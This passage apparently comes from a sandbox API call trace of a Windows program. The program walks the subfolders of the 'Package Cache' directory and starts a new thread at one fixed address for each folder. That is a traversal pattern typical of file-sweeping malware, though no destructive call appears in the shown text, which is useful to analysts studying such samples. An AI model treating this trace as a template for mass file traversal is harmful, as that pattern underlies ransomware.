wcscat (in: _Dest=0x2027b050, _Source="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0097.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0097.522] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0097.522] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1 [0097.522] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1 [0097.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65ef0 [0097.522] wcscpy (in: _Dest=0x1cd65ef0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.522] wcscat (in: _Dest=0x1cd65ef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.522] wcscat (in: _Dest=0x1cd65ef0, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0097.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0097.535] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0097.536] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1 [0097.536] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1 [0097.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027b0f0 [0097.536] wcscpy (in: _Dest=0x2027b0f0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.536] wcscat (in: _Dest=0x2027b0f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.536] wcscat (in: _Dest=0x2027b0f0, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0097.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0097.537] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0097.537] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1 [0097.537] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1 [0097.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65fa0 [0097.537] wcscpy (in: _Dest=0x1cd65fa0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.537] wcscat (in: _Dest=0x1cd65fa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.537] wcscat (in: _Dest=0x1cd65fa0, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0097.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0097.538] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0097.538] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1 [0097.538] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1 [0097.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027b190 [0097.538] wcscpy (in: _Dest=0x2027b190, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.538] wcscat (in: _Dest=0x2027b190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.538] wcscat (in: _Dest=0x2027b190, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0097.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0097.539] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0097.539] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1 [0097.539] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1 [0097.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861490 [0097.540] wcscpy (in: _Dest=0x1b861490, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.540] wcscat (in: _Dest=0x1b861490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.540] wcscat (in: _Dest=0x1b861490, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0097.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0097.541] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0097.541] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1 [0097.541] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1 [0097.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861540 [0097.541] wcscpy (in: _Dest=0x1b861540, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.541] wcscat (in: _Dest=0x1b861540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.541] wcscat (in: _Dest=0x1b861540, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0097.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0097.542] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0097.542] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1 [0097.542] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1 [0097.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8615f0 [0097.542] wcscpy (in: _Dest=0x1b8615f0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.542] wcscat (in: _Dest=0x1b8615f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.542] wcscat (in: _Dest=0x1b8615f0, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0097.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8615f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0097.543] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0097.543] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1 [0097.543] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1 [0097.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8616a0 [0097.543] wcscpy (in: _Dest=0x1b8616a0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.543] wcscat (in: _Dest=0x1b8616a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.543] wcscat (in: _Dest=0x1b8616a0, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0097.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8616a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0097.544] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0097.544] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1 [0097.544] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1 [0097.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861750 [0097.544] wcscpy (in: _Dest=0x1b861750, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.544] wcscat (in: _Dest=0x1b861750, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.544] wcscat (in: _Dest=0x1b861750, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0097.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0097.545] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0097.545] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1 [0097.545] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1 [0097.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861800 [0097.545] wcscpy (in: _Dest=0x1b861800, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.545] wcscat (in: _Dest=0x1b861800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.545] wcscat (in: _Dest=0x1b861800, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0097.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0097.546] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0097.546] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1 [0097.546] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1 [0097.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8618b0 [0097.547] wcscpy (in: _Dest=0x1b8618b0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.547] wcscat (in: _Dest=0x1b8618b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.547] wcscat (in: _Dest=0x1b8618b0, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0097.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8618b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0097.548] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0097.548] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1 [0097.548] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1 [0097.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027b230 [0097.548] wcscpy (in: _Dest=0x2027b230, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.548] wcscat (in: _Dest=0x2027b230, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.548] wcscat (in: _Dest=0x2027b230, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0097.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0097.562] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0097.562] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1 [0097.562] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1 [0097.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861960 [0097.563] wcscpy (in: _Dest=0x1b861960, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.563] wcscat (in: _Dest=0x1b861960, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.563] wcscat (in: _Dest=0x1b861960, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0097.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0097.564] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0097.564] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2=".") returned 1 [0097.564] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2="..") returned 1 [0097.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861a10 [0097.564] wcscpy (in: _Dest=0x1b861a10, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.564] wcscat (in: _Dest=0x1b861a10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.564] wcscat (in: _Dest=0x1b861a10, _Source="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0097.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0097.568] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0097.568] wcscmp 